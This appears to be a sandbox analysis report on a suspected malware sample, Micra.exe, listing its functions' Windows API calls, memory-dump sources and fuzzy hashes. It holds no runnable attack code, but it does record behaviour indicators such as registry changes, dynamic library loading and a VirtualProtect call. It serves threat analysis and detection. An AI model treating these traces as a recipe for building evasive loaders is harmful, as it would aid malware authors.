Instruction ID: 7088a7f0c219bdfd589eed4d744adbaf06b55c7882bf085a68ef70f7e309f44b
Opcode Fuzzy Hash: 06dad9edf242867fa2d433b3a0ae819eccaab9780a225514c3bf782f990559be
Instruction Fuzzy Hash: 385194BA908215DFF711EF60D9C575937A8EB443E0F21842AEA08E721DDF34A9818B55

Function 0040246D Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 0040249D
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsb308A.tmp,00000000,00000011,00000002), ref: 0040253C

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 3fa1dbed21761f6266f2340716bee5225554f786235ea4fcaf6e96b41bfef97b
Instruction ID: 63a70339494f01f517971b4c744e8c56bc188a86961079fa301cce11f67856c5
Opcode Fuzzy Hash: 3fa1dbed21761f6266f2340716bee5225554f786235ea4fcaf6e96b41bfef97b
Instruction Fuzzy Hash: E211C471A05205FEDB15CF64DA885BF7AB4DF04344F20407FE546B62C0D2B88A42DB69

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3be8b2c82b9d5296ba031bde5fc3ac6967fc1ef6e00b1cb2986e69e81292ed92
Instruction ID: 2eeecbca978bd34a3a2c87f0a48c5f542c226d41099ae67583a71d3d142e8862
Opcode Fuzzy Hash: 3be8b2c82b9d5296ba031bde5fc3ac6967fc1ef6e00b1cb2986e69e81292ed92
Instruction Fuzzy Hash: 80012831724210ABE7294B389D04B6A369CE710328F11823BF811F72F1D6B8DC42DB4D

Function 0040237B Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 0040239C
RegCloseKey.ADVAPI32(00000000), ref: 004023A5

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 8900394cafd5be30545282fb353c935dfe98617efc2bb455426e9afa9d5f6f5c
Instruction ID: 657cac93a74d736290c89acfa7952abe2352d4aaae982d756939229d69902e79
Opcode Fuzzy Hash: 8900394cafd5be30545282fb353c935dfe98617efc2bb455426e9afa9d5f6f5c
Instruction Fuzzy Hash: 07F09672B04111ABD710AFB89A8EABE76A89B80354F25003FFA05B71C1D5FC5D02476D

Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 90ac17a84bebba3ece330ba16aed20dba6a3657c2d2ef54ac2288f1ddebe0ac5
Instruction ID: d418ee74975318b4df07fc170813555c2b4b21205ce6e7ea257dd7ae4b230a47
Opcode Fuzzy Hash: 90ac17a84bebba3ece330ba16aed20dba6a3657c2d2ef54ac2288f1ddebe0ac5
Instruction Fuzzy Hash: 78F0A771B09241FBCF20DF659D48A9B7FE8EF91354B10803BE549F6290D2388901CB6D

Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E43
EnableWindow.USER32(00000000,00000000), ref: 00401E4E

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 4b7b4c043660e1c59b921f720d882921bddbf86ae9cc818ffa22fb1dfc7ebc4e
Instruction ID: 809d843a260572306a8a1f4cab9c35c5b8aac9fdd72294bdbb1c41639dd67a74
Opcode Fuzzy Hash: 4b7b4c043660e1c59b921f720d882921bddbf86ae9cc818ffa22fb1dfc7ebc4e
Instruction Fuzzy Hash: 19E012B2F08211AFDB14EBB5A9495AD77B4EB40315B10403BE415F11D1DA7898419F59

Function 004062C7 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040322E,0000000A), ref: 004062D9
GetProcAddress.KERNEL32(00000000,?), ref: 004062F4

Part of subcall function 00406259: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406270
Part of subcall function 00406259: wsprintfA.USER32 ref: 004062A9
Part of subcall function 00406259: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004062BD

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: a3d13027c8eccd2d0cc6aa0f1dea92ffe2580633c4132c5b9e113a6e73deba4a
Instruction ID: 3d2559cad02f3f2c9522d4b64a0f21e72dff4147d54ae6b068db265a7fe850db
Opcode Fuzzy Hash: a3d13027c8eccd2d0cc6aa0f1dea92ffe2580633c4132c5b9e113a6e73deba4a
Instruction Fuzzy Hash: 10E08C32A08111ABD3217B749D0493B77A89F8470030208BEF90AF2190D738EC61A6AD

Function 00405AC8 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00402D88,C:\Users\user\Desktop\Micra.exe,80000000,?), ref: 00405ACC
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405AEE

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 3bf94be8ffed2da7c2b8ff60cd5efa52f63dfdc5f5010c3a9122643b4e997265
Instruction ID: 2f873e3f3c43f12a3908621a4267836d753c9203ad123c8b10a06e7f93ada197
Opcode Fuzzy Hash: 3bf94be8ffed2da7c2b8ff60cd5efa52f63dfdc5f5010c3a9122643b4e997265
Instruction Fuzzy Hash: C7D09E31658201EFEF098F20DD16F2EBBA2EB84B00F10962CB642944E0D6715815AB16

Function 00405599 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004031AE,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004033CF,?,00000006,00000008,0000000A), ref: 0040559F
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004055AD

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 6853200a5fdab59dd982fbc96a9ce2e8b021ac935e945b0af5f1b11de4538164
Instruction ID: 609e72d12c2576d63fea847a2789036c648b4b30b0b2df40a2479a0d359059ce
Opcode Fuzzy Hash: 6853200a5fdab59dd982fbc96a9ce2e8b021ac935e945b0af5f1b11de4538164
Instruction Fuzzy Hash: 80C04C70609502EAEA515B319E08B177A66AB50741F1189356106F41F4D6349551D93F

Function 004025C4 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 74ca39bbbd804aa602646999ba882f39cb878d7c957e83237b80ad80dd69cedf
Instruction ID: 956fa7c1ac5fd2fee95ffccb562befede2bee6639ec42e1b74788dc4a807bfe2
Opcode Fuzzy Hash: 74ca39bbbd804aa602646999ba882f39cb878d7c957e83237b80ad80dd69cedf
Instruction Fuzzy Hash: 9921F970D04299BEDF318B699948ABEBF749F01304F0445BBE4D0B62D1C6BE8A81CF19

Function 00402682 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026A0

Part of subcall function 00405E8D: wsprintfA.USER32 ref: 00405E9A

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 6c434308d603cb3992d4ff97e514362f23aa1c186b2c62f117e7b07f80617c86
Instruction ID: 438a0968cd1424e10632e90f23a7a7bc90142d0226bb2e82878b66939b610ca6
Opcode Fuzzy Hash: 6c434308d603cb3992d4ff97e514362f23aa1c186b2c62f117e7b07f80617c86
Instruction Fuzzy Hash: C8E0EDB2B08116BFD701ABA5AA499BFABA8DB40315F10443BF545F10D1C67D89029B6E

Function 004022F6 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232F

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 5d83d1b84d62c8bd7723ac6f7ea7449579613f64caaa87e0b821643eb94ca284
Instruction ID: b7879796e9067cc525d509484cb071c64809edfbcf7d7ae807fdf492fc310909
Opcode Fuzzy Hash: 5d83d1b84d62c8bd7723ac6f7ea7449579613f64caaa87e0b821643eb94ca284
Instruction Fuzzy Hash: 68E04F31B801246BDB207AF10ECE97F14989BC4744B39053ABE05B62C3DDBC4C414AB9

Function 00405DE3 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402B72,00000000,?,?), ref: 00405E0C

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c5562a190e42d8950a0f575b3a357be24d756bd6a7e1ac790deddfd4386432da
Instruction ID: 886b7c25128ca983ce55bdf5257722b65075f69f9ffcdf2890c0b7a146ab9abd
Opcode Fuzzy Hash: c5562a190e42d8950a0f575b3a357be24d756bd6a7e1ac790deddfd4386432da
Instruction Fuzzy Hash: 33E0BF72110109BFDF095F51DD0AD7B361DEB04314F00492EFA05D4051E6B5A9206A65

Function 00405B40 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403170,00000000,00000000,00402FCD,000000FF,00000004,00000000,00000000,00000000), ref: 00405B54

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1302354f14da4ac18fdfad316f10263800e98e90a47707ba9ec6b51f8bbd6d6c
Instruction ID: 4179e0c76098f610a2fd9102cb0c328980851925f4446f1dd22fc868df860445
Opcode Fuzzy Hash: 1302354f14da4ac18fdfad316f10263800e98e90a47707ba9ec6b51f8bbd6d6c
Instruction Fuzzy Hash: 8CE0EC32A1425EABDF109E659C00EEB7BBCEB05760F048432FD15E3150D235F921DBA9

Function 00405B6F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000020,?,0040313E,00000000,0040A8C0,00000020,0040A8C0,00000020,000000FF,00000004,00000000), ref: 00405B83

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c136fe23a15198738cdde8d9ae5bd390bad499becbb6fab094427491a2b8e812
Instruction ID: af6d97e9b78343fe008ce3e7999d984a763d513ea29e4df05d500f045cbeb3ca
Opcode Fuzzy Hash: c136fe23a15198738cdde8d9ae5bd390bad499becbb6fab094427491a2b8e812
Instruction Fuzzy Hash: B2E0EC3262425AABDF509E559C00AEB7BACEB05360F008436FD15E2151D635F8219FA5

Function 10002709 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002727

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: e09dfa788fffc30199ef0a9f627684cb70e95bce5f527532b7ad3e980fb418b3
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 67F09BF19092A0DEF360DF688CC47063FE4E3983D5B03852AE358F6269EB7441448B19

